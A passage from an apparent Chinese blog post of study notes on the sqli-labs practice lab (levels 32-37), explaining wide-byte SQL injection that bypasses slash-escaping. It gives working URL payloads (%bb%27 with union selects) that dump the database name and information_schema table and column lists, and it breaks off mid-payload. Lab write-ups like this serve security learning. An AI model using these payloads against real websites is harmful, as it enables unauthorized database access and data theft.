sqli-labs学习笔记（十一）less 32-37 宽字节注入

最新推荐文章于 2024-07-25 19:06:13 发布

思源湖的鱼

最新推荐文章于 2024-07-25 19:06:13 发布

阅读量712

点赞数 2

分类专栏： cyber security 文章标签：数据库 mysql sql注入宽字节注入 sqlilabs

本文链接：https://blog.csdn.net/weixin_44604541/article/details/108654206

版权

本文介绍了SQL注入中的一种特殊类型——宽字节注入，通过sqli-labs的Less 32-37关卡详细阐述了如何绕过自定义过滤函数、addslashes()和mysql_real_escape_string()。讲解了宽字节注入的原理，以及防御措施，包括设置字符集和使用mysql_set_charset。

摘要由CSDN通过智能技术生成

前言

继续学习sqli-labs
本篇是less 32-37

Less - 32：GET - Bypass custom filter adding slashes to dangerous chasrs 绕过自定义过滤函数

在这里插入图片描述
惯例做测试
发现常见的单引号双引号括号等都没有报错
根据下面的返显是被转义了
这就应该是宽字节注入
尝试下

?id=1%bb%27

在这里插入图片描述

显然
可以注入

爆库

?id=-1%bb%27 union select 1,2,database()--+

在这里插入图片描述
注入成功

后面就类似了
就注意下字符串用16进制
因为引号被转义了

?id=-1%bb%27 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
?id=-1%bb%27 union select 1,group_concat(column_name),